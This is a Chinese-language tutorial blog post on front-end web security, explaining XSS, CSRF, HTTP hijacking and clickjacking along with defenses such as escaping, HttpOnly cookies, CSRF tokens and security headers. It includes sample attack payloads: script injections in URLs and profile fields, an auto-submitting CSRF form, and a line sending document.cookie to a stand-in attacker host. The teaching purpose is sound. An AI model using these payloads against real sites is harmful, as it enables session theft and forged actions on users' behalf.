1. 程式人生 > >前端安全知多少

前端安全知多少

刪除 app substr 一個 wrong inpu ram input 讓我

說到安全,大家腦海浮現的一定是這種場景。

技術分享

他們劈劈啪啪敲幾行代碼,就能控制對方電腦於千裏之外,酷到沒朋友。

但這些似乎離前端還挺遠的。常常聽到什麽SQL註入,緩沖區溢出,DDoS,CC攻擊,好像和前端也沒啥關系,漸漸的會覺得安全是後端的的事。

但真的是這樣的嗎?想起來前不久公司安全部門統計的漏洞列表

技術分享

看,前端經典的XSS漏洞占據了90%以上。所以學習和了解前端安全方面的知識,還是十分有必要的。

接下來我們聊聊前端安全,主要從以下幾塊來講

一、XSS攻擊與防禦

二、CSRF攻擊

三、HTTP劫持與對策

四、界面操作劫持

五、防禦手段


一、XSS攻擊與防禦

當年寫過這樣一段代碼,form提交表單後,如果有錯誤,需要前臺alert出來。

偷懶采用了如下思路

1、提交表單之後再次重定向到當前頁面,然後把錯誤信息放入url中。

2、controller層把url參數傳入模板。

3、模板部分如果變量有值,就alert出來。

代碼大概如下

// 假設提交表單之後定位到這個頁面

// http://www.wrong.com?msg=param-error

 

// 頁面上模板上,為了省心,有這麽一段

<script>

   // … 省略一些代碼,{{}} 是模板引擎引入變量的語法

   alert(‘{{query.msg}}‘);

</script>

乍一看,這麽寫沒什麽問題。{{query.msg}}會被替換成 param-error。模板被解析成html的時候,會變為alert(‘param-error’);

但是,如果有人不懷好意,訪問這樣一個url

http://www.wrong.com?msg=‘);alert(document.cookie);(‘

然後代碼就變成了

alert(‘‘);alert(document.cookie);(‘‘);

訪問這個頁面,彈出了cookie。

當然,彈出cookie沒有太多價值,但如果我們把代碼改成

new Image().src = ‘http://www.xss.com?data=‘ + document.cookie;

這樣,我們就把目標用戶的cookie發送到我們的服務器上了。而cookie中極有可能存在用戶的隱私數據甚至是用戶的登錄session。

當然,這只是一個最簡單的例子,用來說明攻擊的原理。實際情況下,我們會遇到很多限制,比如瀏覽器的自動轉碼,cookie的only http標識等。

XSS的攻擊有很多種方式,通常情況下,我們會對XSS攻擊做如下分類

1、反射型XSS

發請求時,XSS代碼出現在URL中,提交給服務端。服務端返回的內容,也帶上了這段XSS代碼。最後瀏覽器執行XSS代碼。

通常情況是攻擊者找到有XSS漏洞的網站,然後構造一個連接,就像這種

http://www.hasxss.com?x=<script>alert(document.cookie)</script>

帶有攻擊效果的鏈接

然後誘導你點擊

通常他們會把鏈接短鏈一下迷惑你,就好比

http://dwz.cn/woshiduanwangzhi

PS:通常還會加上一句類似 ~你們看看王寶強兒子長得像誰~ 這種標題??。

然後你點擊進去就中招了。

2、存儲型XSS

存儲型和反射型的區別就是,提交的XSS代碼會存儲在服務器端。這種XSS也是最危險的。

舉個例子,我們的網站允許用戶設置一段個性簽名,會顯示在個人主頁。

然後用戶簽名設置為

<script>alert(document.cookie)<script>

數據庫存儲這段代碼,然後頁面顯示出來。

如果這個過程中沒有經過任何轉義,那麽這段html就直接執行了。這樣,所有訪問你個人主頁的用戶,就都中招了。

3、DOM XSS

這種和上面說的兩種的區別就在於,DOM XSS不需要服務端參與,可以認為是前端代碼漏洞導致。

舉個例子,有這樣一段代碼

<script>

   eval(location.hash.substr(1));

</script>

 

 

// 而這個時候,如果用戶在網址後面加上惡意代碼

http://www.xss.com#alert(document.cookie)

這樣就完成了攻擊了。

這也是我們常說eval不安全的原因,傳入eval的字符串,天知道會是什麽東西,但無論是什麽,它都會去執行。

說了XSS的類型,我們再說說防禦的手段。

1、過濾轉義輸入輸出

用戶輸入的情況,通常來講也是HTTP請求。GET請求的url參數。POST請求的body數據。

比如我們接收的數據是用戶年齡,那麽在後端,需要判斷一下數據是否是Number,這樣才能讓惡意攻擊者沒有可乘之機。

對於一些特殊符號,我們需要對其進行轉義

& --> &amp;

< --> &lt;

> --> &gt;

" --> &quot;

‘ --> &#x27;

/ --> &#x2F;

這個一方面是後端接收這些代碼時候的轉義存儲,一方面是前端在顯示的時候,需要把它們轉成html實體。

2、避免使用eval,new Function等執行字符串的方法,除非確定字符串和用戶輸入無關。

3、使用innerHTML,document.write的時候,如果數據是用戶輸入的,那麽需要對關鍵字符都進行過濾與轉義。

4、對於非客戶端cookie,比如保存用戶憑證的session,務必標識為http only,這樣js就獲取不到這個cookie值了,安全性得到提高。

對於XSS的防禦,提高編碼的安全意識是一方面。

還有一種方式是主動防禦。也就是當發現頁面有XSS攻擊時候,主動上報。

至於如何檢測到,目前的方式大多是對事件和腳本攔截。判斷是否有惡意代碼。

二、CSRF攻擊

CSRF全稱是跨站請求偽造。這麽說挺模糊的,我們來具體看下例子就能明白

假設 新浪微博關註某個人的請求是

GET www.weibo.com/attention?userid=123

所以,當用戶處於登錄狀態下,並且訪問如上鏈接,便會關註userid為123的用戶。

那麽我們可以做出如下攻擊。

編寫一個惡意頁面 www.csrf.com。然後在頁面上加上一句

<img src=“www.weibo.com/attention?userid=123” />

這時,用戶只要訪問了這個頁面,便發起了關註的請求。並且該請求還是帶上了登錄cookie的,因為cookie是跟隨著請求域名一起的。

上面這個例子是一個太理想的情況,又例如實際關註的請求,是一個POST請求,那應該怎麽辦呢?

其實這也很簡單,雖然發送post請求會有跨域限制,但是我們可以使用js動態生成一個form表單。然後把地址指向上述url,最後再加上自動提交即可。

function createForm() {

 var form = document.createElement(‘form‘);

 document.body.appendChild(form);

 form.method = ‘post‘;

 return form;

}

 

function createInput() {

 // 省略一些代碼,創建一些input,讓form使用appendChild放進去

}

 

var f = createForm();

// 插入一些數據

f.action = ‘http://www.csrf.com‘;

f.submit();

CSRF的防禦方式

  1. 檢測http referer是否是同域名,通常來講,用戶提交的請求,referer應該是來來自站內地址,所以如果發現referer中地址異常,那麽很可能是遭到了CSRF攻擊。

  2. 避免登錄的session長時間存儲在客戶端中。

  3. 關鍵請求使用驗證碼或者token機制。在一些十分關鍵的操作,比如交易付款環節。這種請求中,加入驗證碼,可以防止被惡意用戶攻擊。token機制也有一定的防禦作用。具體來說就是服務器每次返回客戶端頁面的時候,在頁面中埋上一個token字段,例如 <input type=“hidden” name=“csrftoken” value=“abcd">

    之後,客戶端請求的時候帶上這個token,使用這個機制後,攻擊者也就很難發起CSRF攻擊了。

三、HTTP劫持與對策

HTTP劫持嚴格上來說不能完全算前端安全的範疇。因為導致這種情況的主要是運營商。

先簡單解釋下HTTP劫持吧,當我們訪問頁面的時候,運營商在頁面的HTML代碼中,插入彈窗、廣告等HTML代碼,來獲取相應的利益。

針對這種情況,最好的解決方式也就是使用HTTPS,加密過後,他們就沒法插入廣告代碼了。

那麽對於還沒有升級的情況,我們可以努力讓影響降到最低。

情況一:頁面被iframe嵌套了

這種情況還是比較簡單的。對於跨域iframe,我們是可以改變父頁面地址的

技術分享

所以,我們在代碼中加上

if (self != top) {

top.location = location.href;

}

情況二:頁面多出了廣告的html代碼或者插入廣告的腳本

這種情況下,我們能做的有限。

一方面我們可以檢測是否有新增的html。監控檢測判斷,發現是廣告就移除掉。

另一方面,對於使用document.write方法寫入的廣告,我們可以通過重寫document.write方法來達到刪除廣告的目的

四、界面操作劫持

界面操作劫持是一種基於視覺欺騙的劫持攻擊。通過在頁面上覆蓋一個iframe + opacity:0的頁面,讓用戶誤點擊。

這麽解釋很蒼白,我們來看一下具體案例

假設我開發的頁面是百度

技術分享

我希望誘導別人關註我的新浪微博。

技術分享

這時,我可以選擇在我的頁面中使用iframe嵌入微博頁面

技術分享

這裏我沒有把opacity設置為0。如果設置為0的話。那麽就完成了一次界面操作劫持了。你以為點擊了百度一下,實際點擊的是關註。

五、防禦方式

說了這麽多攻擊方式,但是我們的web還是很安全的是不是?

上面列舉的例子都不具備實際攻擊作用,因為瀏覽器廠商,W3C等已經做了很多安全工作,讓我們的頁面可以安穩的運行起來。但是道高一尺魔高一丈,我們要合理運用防護手段,才能讓頁面不被攻擊。

1、HTTP響應頭,在響應可以通過這些字段來提高安全性

  • X-Frame-Options 禁止頁面被加載進iframe中

  • X-XSS-Protection 對於反射型XSS進行一些防禦

  • X-Content-Security-Policy 這個就比較復雜了,可選項很多,用來設置允許的的資源來源以及對腳本執行環境的控制等。

2、使用HTTPS、使用HTTP ONLY的cookie。cookie的secure字段設置為true

3、GET請求與POST請求,要嚴格遵守規範,不要混用,不要將一些危險的提交使用JSONP完成。

如果你喜歡我們的文章,關註我們的公眾號和我們互動吧。

技術分享

前端安全知多少